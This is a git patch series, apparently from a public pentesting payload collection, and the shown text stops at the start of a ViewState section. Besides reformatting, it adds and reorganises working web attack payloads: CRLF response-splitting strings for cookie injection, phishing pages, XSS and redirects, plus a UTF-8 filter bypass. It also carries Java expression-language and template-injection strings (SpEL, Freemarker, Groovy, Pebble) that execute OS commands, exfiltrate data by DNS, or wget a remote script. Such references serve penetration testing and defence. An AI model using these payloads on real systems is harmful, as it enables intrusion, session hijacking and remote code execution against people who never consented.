From 35109b415418d2b203b85d1f9ee8f07d5cca2e8d Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Sun, 24 Nov 2024 13:44:55 +0100
Subject: [PATCH 01/14] CORS and CRLF updates
---
CORS Misconfiguration/README.md | 16 ++--
CRLF Injection/README.md | 128 +++++++++++++++++++-------------
Prompt Injection/README.md | 2 +-
3 files changed, 87 insertions(+), 59 deletions(-)
diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md
index 8d599db359..c6d5b87ac4 100644
--- a/CORS Misconfiguration/README.md
+++ b/CORS Misconfiguration/README.md
@@ -11,7 +11,7 @@
* [Origin Reflection](#origin-reflection)
* [Null Origin](#null-origin)
* [XSS on Trusted Origin](#xss-on-trusted-origin)
- * [Wildcard Origin `*` without Credentials](#wildcard-origin--without-credentials)
+ * [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
* [Expanding the Origin](#expanding-the-origin)
* [Labs](#labs)
* [References](#references)
@@ -19,11 +19,11 @@
## Tools
-* [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
-* [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner)
-* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
-* [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors)
-* [omranisecurity/CorsOne - Fast CORS Misconfiguration Discovery Tool](https://github.com/omranisecurity/CorsOne)
+* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
+* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
+* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
+* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
+* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
## Requirements
@@ -149,7 +149,7 @@ again.
https://trusted-origin.example.com/?xss=
```
-### Wildcard Origin `*` without Credentials
+### Wildcard Origin without Credentials
If the server responds with a wildcard origin `*`, **the browser does never send
the cookies**. However, if the server does not require authentication, it's still
@@ -275,7 +275,7 @@ function reqListener() {
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
-- [CORS Misconfigurations Explained - Detectify Blog - Apr 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
+- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
diff --git a/CRLF Injection/README.md b/CRLF Injection/README.md
index 33e12d4abf..f587c97b22 100644
--- a/CRLF Injection/README.md
+++ b/CRLF Injection/README.md
@@ -1,56 +1,89 @@
# Carriage Return Line Feed
-> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
-
-> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
-
+> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
## Summary
* [Methodology](#methodology)
- * [Add a cookie](#add-a-cookie)
- * [Add a cookie - XSS Bypass](#add-a-cookie---xss-bypass)
- * [Write HTML](#write-html)
- * [Filter Bypass](#filter-bypass)
+ * [Session Fixation](#session-fixation)
+ * [Cross Site Scripting](#cross-site-scripting)
+ * [Open Redirect](#open-redirect)
+* [Filter Bypass](#filter-bypass)
* [Labs](#labs)
* [References](#references)
## Methodology
-### Add a cookie
+HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
+
+**CRLF Characters**:
+
+* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
+* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
+
+By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
+
+* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
+* Cache Poisoning: Forcing incorrect content to be stored in caches.
+* Header Manipulation: Altering headers to mislead users or systems
+
-Requested page
+### Session Fixation
+
+A typical HTTP response header looks like this:
```http
-http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
+HTTP/1.1 200 OK
+Content-Type: text/html
+Set-Cookie: sessionid=abc123
```
-HTTP Response
+If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
```http
-Connection: keep-alive
-Content-Length: 178
+HTTP/1.1 200 OK
Content-Type: text/html
-Date: Mon, 09 May 2016 14:47:29 GMT
-Location: https://www.example.net/[INJECTION STARTS HERE]
-Set-Cookie: mycookie=myvalue
-X-Frame-Options: SAMEORIGIN
-X-Sucuri-ID: 15016
-x-content-type-options: nosniff
-x-xss-protection: 1; mode=block
+Set-Cookie: sessionid=value
+Set-Cookie: admin=true
```
+Now the attacker has set their own cookie.
+
-### Add a cookie - XSS Bypass
+### Cross Site Scripting
-Requested page
+Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
+
+**Requested page**
+
+```http
+http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
+```
+
+**HTTP response**
+
+```http
+Set-Cookie:en
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
+Content-Length: 34
+
+You have been Phished
+```
+
+In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
+
+**Requested page**
```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2f%2e%2e
```
-HTTP Response
+**HTTP Response**
```http
HTTP/1.1 200 OK
@@ -73,44 +106,38 @@ X-XSS-Protection:0
0
```
+### Open Redirect
-### Write HTML
-
-Requested page
+Inject a `Location` header to force a redirect for the user.
-```http
-http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
+```ps1
+%0d%0aLocation:%20http://myweb.com
```
-HTTP response
-```http
-Set-Cookie:en
-Content-Length: 0
+## Filter Bypass
-HTTP/1.1 200 OK
-Content-Type: text/html
-Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
-Content-Length: 34
+[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
-You have been Phished
-```
+> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
+Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
-### Filter Bypass
+| UTF-8 Character | Hex | Unicode | Stripped |
+| --------- | --- | ------- | -------- |
+| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
+| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
+| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
+| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
-Using UTF-8 encoding
+The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
-```http
-%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
-```
-Remainder:
+Using UTF-8 encoding: `嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾`
-* `%E5%98%8A` = `%0A` = \u560a
-* `%E5%98%8D` = `%0D` = \u560d
-* `%E5%98%BE` = `%3E` = \u563e (>)
-* `%E5%98%BC` = `%3C` = \u563c (<)
+```http
+%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
+```
## Labs
@@ -122,4 +149,5 @@ Remainder:
## References
- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
-- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - 2016-12-20](https://vulners.com/hackerone/H1:192749)
\ No newline at end of file
+- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
+- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
\ No newline at end of file
diff --git a/Prompt Injection/README.md b/Prompt Injection/README.md
index 60f057b06b..8c58a86446 100644
--- a/Prompt Injection/README.md
+++ b/Prompt Injection/README.md
@@ -28,7 +28,7 @@ List of "payloads" prompts
- [Jailbreak Chat](https://www.jailbreakchat.com)
- [Inject My PDF](https://kai-greshake.de/posts/inject-my-pdf)
- [Chat GPT "DAN" (and other "Jailbreaks")](https://gist.github.com/coolaj86/6f4f7b30129b0251f61fa7baaa881516)
-- [leondz/garak](https://github.com/leondz/garak) - LLM vulnerability scanner
+- [NVIDIA/garak](https://github.com/NVIDIA/garak) - LLM vulnerability scanner
Challenges
From 6bfad6a84d93ad4af65a985656eaebabb96dfba6 Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Mon, 25 Nov 2024 13:56:29 +0100
Subject: [PATCH 02/14] SSTI - SpEL
---
CRLF Injection/README.md | 10 +-
.../ExpressionLanguage.md | 95 ------------
Server Side Template Injection/Java.md | 141 +++++++++++++-----
3 files changed, 113 insertions(+), 133 deletions(-)
delete mode 100644 Server Side Template Injection/ExpressionLanguage.md
diff --git a/CRLF Injection/README.md b/CRLF Injection/README.md
index f587c97b22..e90dbd690d 100644
--- a/CRLF Injection/README.md
+++ b/CRLF Injection/README.md
@@ -133,9 +133,15 @@ Firefox followed the spec by stripping off any out-of-range characters when sett
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
-Using UTF-8 encoding: `嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾`
+An example payload using UTF-8 characters would be:
-```http
+```js
+嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
+```
+
+URL encoded version
+
+```js
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
```
diff --git a/Server Side Template Injection/ExpressionLanguage.md b/Server Side Template Injection/ExpressionLanguage.md
deleted file mode 100644
index e02c173883..0000000000
--- a/Server Side Template Injection/ExpressionLanguage.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# Server Side Template Injection - Expression Language
-
-## Summary
-
-- [Expression Language EL](#expression-language-el)
- - [Expression Language EL - Basic injection](#expression-language-el---basic-injection)
- - [Expression Language EL - One-Liner injections not including code execution](#expression-language-el---one-liner-injections-not-including-code-execution)
- - [Expression Language EL - Code Execution](#expression-language-el---code-execution)
-- [References](#references)
-
-
-## Expression Language EL
-
-[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)
-> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0
-
-### Expression Language EL - Basic injection
-
-```java
-${}
-${1+1}
-
-#{}
-#{1+1}
-
-T()
-```
-
-### Expression Language EL - Properties
-
-* Interesting properties to access `String`, `java.lang.Runtime`
-
-```ps1
-${2.class}
-${2.class.forName("java.lang.String")}
-${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}
-```
-
-### Expression Language EL - One-Liner injections not including code execution
-
-```java
-// DNS Lookup
-${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
-
-// JVM System Property Lookup (ex: java.class.path)
-${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
-
-// Modify session attributes
-${pageContext.request.getSession().setAttribute("admin",true)}
-```
-
-### Expression Language EL - Code Execution
-
-```java
-// Common RCE payloads
-''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec()
-''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start()
-
-// Method using Runtime
-#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
-#{session.getAttribute("rtc").setAccessible(true)}
-#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
-
-// Method using process builder
-${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
-${request.getAttribute("c").add("cmd.exe")}
-${request.getAttribute("c").add("/k")}
-${request.getAttribute("c").add("ping x.x.x.x")}
-${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
-${request.getAttribute("a")}
-
-// Method using Reflection & Invoke
-${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
-${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
-
-// Method using ScriptEngineManager one-liner
-${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
-
-// Method using JavaClass
-T(java.lang.Runtime).getRuntime().exec('whoami').x
-
-// Method using ScriptEngineManager
-${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
-```
-
-
-## References
-
-- [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://securitylab.github.com/research/bean-validation-RCE)
-- [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
-- [Expression Language Injection - OWASP - December 4, 2019](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
-- [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
-- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
-- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
-- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
\ No newline at end of file
diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md
index 7608167fe3..ed0c1b87c9 100644
--- a/Server Side Template Injection/Java.md
+++ b/Server Side Template Injection/Java.md
@@ -7,29 +7,33 @@
- [Templating Libraries](#templating-libraries)
- [Java](#java)
- - [Java - Basic injection](#java---basic-injection)
- - [Java - Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables)
+ - [Java - Basic Injection](#java---basic-injection)
+ - [Java - Retrieve Environment Variables](#java---retrieve-environment-variables)
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
- [Freemarker](#freemarker)
- - [Freemarker - Basic injection](#freemarker---basic-injection)
+ - [Freemarker - Basic Injection](#freemarker---basic-injection)
- [Freemarker - Read File](#freemarker---read-file)
- - [Freemarker - Code execution](#freemarker---code-execution)
- - [Freemarker - Sandbox bypass](#freemarker---sandbox-bypass)
+ - [Freemarker - Code Execution](#freemarker---code-execution)
+ - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
- [Codepen](#codepen)
- [Jinjava](#jinjava)
- - [Jinjava - Basic injection](#jinjava---basic-injection)
- - [Jinjava - Command execution](#jinjava---command-execution)
+ - [Jinjava - Basic Injection](#jinjava---basic-injection)
+ - [Jinjava - Command Execution](#jinjava---command-execution)
- [Pebble](#pebble)
- - [Pebble - Basic injection](#pebble---basic-injection)
- - [Pebble - Code execution](#pebble---code-execution)
+ - [Pebble - Basic Injection](#pebble---basic-injection)
+ - [Pebble - Code Execution](#pebble---code-execution)
- [Velocity](#velocity)
-- [Spring](#spring)
- [Groovy](#groovy)
- - [Groovy - Basic injection](#groovy---basic-injection)
- - [Groovy - Read and create File](#groovy---read-and-create-file)
- - [Groovy - HTTP request:](#groovy---http-request)
+ - [Groovy - Basic Injection](#groovy---basic-injection)
+ - [Groovy - Read File](#groovy---read-file)
+ - [Groovy - HTTP Request:](#groovy---http-request)
- [Groovy - Command Execution](#groovy---command-execution)
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
+- [Spring Expression Language](#spring-expression-language)
+ - [SpEL - Basic Injection](#spel---basic-injection)
+ - [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
+ - [SpEL - Session Attributes](#spel---session-attributes)
+ - [SpEL - Command Execution](#spel---command-execution)
- [References](#references)
@@ -49,7 +53,7 @@
## Java
-### Java - Basic injection
+### Java - Basic Injection
> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
@@ -61,7 +65,7 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
-### Java - Retrieve the system’s environment variables
+### Java - Retrieve Environment Variables
```java
${T(java.lang.System).getenv()}
@@ -84,7 +88,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
-### Freemarker - Basic injection
+### Freemarker - Basic Injection
The template can be :
@@ -99,7 +103,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
Convert the returned bytes to ASCII
```
-### Freemarker - Code execution
+### Freemarker - Code Execution
```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@@ -109,7 +113,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
```
-### Freemarker - Sandbox bypass
+### Freemarker - Sandbox Bypass
:warning: only works on Freemarker versions below 2.3.30
@@ -146,7 +150,7 @@ ${dwf.newInstance(ec,null)("id")}
[Official website](https://github.com/HubSpot/jinjava)
> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
-### Jinjava - Basic injection
+### Jinjava - Basic Injection
```python
{{'a'.toUpperCase()}} would result in 'A'
@@ -155,9 +159,9 @@ ${dwf.newInstance(ec,null)("id")}
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
-### Jinjava - Command execution
+### Jinjava - Command Execution
-Fixed by https://github.com/HubSpot/jinjava/pull/230
+Fixed by [HubSpot/jinjava PR #230](https://github.com/HubSpot/jinjava/pull/230)
```ps1
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@@ -177,13 +181,13 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
-### Pebble - Basic injection
+### Pebble - Basic Injection
```java
{{ someString.toUPPERCASE() }}
```
-### Pebble - Code execution
+### Pebble - Code Execution
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
@@ -225,16 +229,6 @@ $str.valueOf($chr.toChars($out.read()))
---
-
-## Spring
-
-```python
-*{7*7}
-*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
-```
-
----
-
## Groovy
[Official website](https://groovy-lang.org/)
@@ -243,7 +237,7 @@ $str.valueOf($chr.toChars($out.read()))
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
-### Groovy - Read and create File
+### Groovy - Read File
```groovy
${String x = new File('c:/windows/notepad.exe').text}
@@ -251,7 +245,7 @@ ${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
```
-### Groovy - HTTP request:
+### Groovy - HTTP Request
```groovy
${"http://www.google.com".toURL().text}
@@ -280,6 +274,74 @@ or
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
```
+---
+
+## Spring Expression Language
+
+[Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)
+
+> The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
+
+### SpEL - Basic Injection
+
+```java
+${7*7}
+${'patt'.toString().replace('a', 'x')}
+```
+
+
+### SpEL - DNS Exfiltration
+
+DNS lookup
+
+```java
+${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
+```
+
+
+### SpEL - Session Attributes
+
+Modify session attributes
+
+```java
+${pageContext.request.getSession().setAttribute("admin",true)}
+```
+
+
+### SpEL - Command Execution
+
+* Method using `java.lang.Runtime` #1 - accessed with JavaClass
+ ```java
+ ${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")}
+ ```
+
+* Method using `java.lang.Runtime` #2
+ ```java
+ #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
+ #{session.getAttribute("rtc").setAccessible(true)}
+ #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
+ ```
+
+* Method using `java.lang.Runtime` #3 - accessed with `invoke`
+ ```java
+ ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('COMMAND_HERE')}
+ ```
+
+* Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager`
+ ```java
+ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
+ ```
+
+* Method using `java.lang.ProcessBuilder`
+ ```java
+ ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
+ ${request.getAttribute("c").add("cmd.exe")}
+ ${request.getAttribute("c").add("/k")}
+ ${request.getAttribute("c").add("ping x.x.x.x")}
+ ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
+ ${request.getAttribute("a")}
+ ```
+
## References
@@ -287,4 +349,11 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
- [Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
- [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
- [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
-- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
\ No newline at end of file
+- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
+- [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://securitylab.github.com/research/bean-validation-RCE)
+- [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
+- [Expression Language Injection - OWASP - December 4, 2019](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
+- [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
+- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
+- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
+- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
\ No newline at end of file
From 9425cec068483250914caa90c293e6e07f328170 Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Mon, 25 Nov 2024 18:42:36 +0100
Subject: [PATCH 03/14] Handlebars - Basic Injection
---
Server Side Template Injection/JavaScript.md | 15 +++++++++++++++
1 file changed, 15 insertions(+)
diff --git a/Server Side Template Injection/JavaScript.md b/Server Side Template Injection/JavaScript.md
index 52167eba8f..a69cda99fa 100644
--- a/Server Side Template Injection/JavaScript.md
+++ b/Server Side Template Injection/JavaScript.md
@@ -7,6 +7,7 @@
- [Templating Libraries](#templating-libraries)
- [Handlebars](#handlebars)
+ - [Handlebars - Basic Injection](#handlebars---basic-injection)
- [Handlebars - Command Execution](#handlebars---command-execution)
- [Lodash](#Lodash)
- [Lodash - Basic Injection](#lodash---basic-injection)
@@ -38,8 +39,21 @@
[Official website](https://handlebarsjs.com/)
> Handlebars compiles templates into JavaScript functions.
+### Handlebars - Basic Injection
+
+```js
+{{this}}
+{{self}}
+```
+
### Handlebars - Command Execution
+This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):
+
+* `>= 4.1.0`, `< 4.1.2`
+* `>= 4.0.0`, `< 4.0.14`
+* `< 3.0.7`
+
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
@@ -67,6 +81,7 @@
## Lodash
[Official website](https://lodash.com/docs/4.17.15)
+> A modern JavaScript utility library delivering modularity, performance & extras.
### Lodash - Basic Injection
From 57f7c8ddad8fe18af2cb706622894b00880a3b41 Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Wed, 27 Nov 2024 15:29:33 +0100
Subject: [PATCH 04/14] ViewState Java
---
Insecure Deserialization/Java.md | 68 ++++++++++++++++++++++++++++++++
1 file changed, 68 insertions(+)
diff --git a/Insecure Deserialization/Java.md b/Insecure Deserialization/Java.md
index 71e34af438..95d37f80d7 100644
--- a/Insecure Deserialization/Java.md
+++ b/Insecure Deserialization/Java.md
@@ -11,6 +11,7 @@
* [Burp extensions using ysoserial](#burp-extensionsl)
* [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
+* [ViewState](#viewstate)
* [References](#references)
@@ -146,13 +147,80 @@ SnakeYAML
```
+## ViewState
+
